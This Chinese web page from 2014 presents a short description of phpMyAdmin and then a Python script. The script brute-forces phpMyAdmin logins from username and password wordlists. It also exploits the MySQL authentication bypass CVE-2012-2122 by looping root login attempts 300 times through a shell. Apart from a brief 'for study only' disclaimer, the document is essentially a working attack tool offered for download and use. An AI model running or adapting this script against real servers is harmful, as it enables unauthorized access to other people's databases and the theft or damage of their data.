发布于 2014-08-09 10:54:33 | 666 次阅读 | 评论: 0 | 来源: 网友投递
phpMyAdmin MySQL数据库管理工具
phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。
本文是一个用Python写的PHPMyAdmin暴力破解工具代码,涉及了CVE-2012-2122 MySQL Authentication Bypass Vulnerability漏洞的利用,感兴趣的同学参考学习下,请勿用于非法用处.
PHPMyAdmin暴力破解,CVE-2012-2122 MySQL Authentication Bypass Vulnerability漏洞利用。
phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。
#!/usr/bin/env python import urllib import urllib2 import cookielib import sys import subprocess def Crack(url,username,password): opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.LWPCookieJar())) headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64)'} params = urllib.urlencode({'pma_username': username, 'pma_password': password}) request = urllib2.Request(url+"/index.php", params,headers) response = opener.open(request) a=response.read() if a.find('Database server')!=-1 and a.find('name="login_form"')==-1: return username,password return 0 def MySQLAuthenticationBypassCheck(host,port): i=0 while i<300: i=i+1 subprocess.Popen("mysql --host=%s -P %s -uroot -piswin" % (host,port),shell=True).wait() if __name__ == '__main__': if len(sys.argv)<4: print "#author:iswinn#useage python pma.py http://www.phperz.com/phpmyadmin/ username.txt password.txt" sys.exit() print "Bruting,Pleas wait..." for name in open(sys.argv[2],"r"): for passw in open(sys.argv[3],"r"): state=Crack(sys.argv[1],name,passw) if state!=0: print "nBrute successful" print "UserName: "+state[0]+"PassWord: "+state[1] sys.exit() print "Sorry,Brute failed...,try to use MySQLAuthenticationBypassCheck" choice=raw_input('Warning:This function needs mysql environment.nY:Try to MySQLAuthenticationBypassChecknOthers:Exitn') if choice=='Y' or choice=='y': host=raw_input('Host:') port=raw_input('Port:') MySQLAuthenticationBypassCheck(host,port)
注:本代码仅供学习研究,请不要用于非法用处.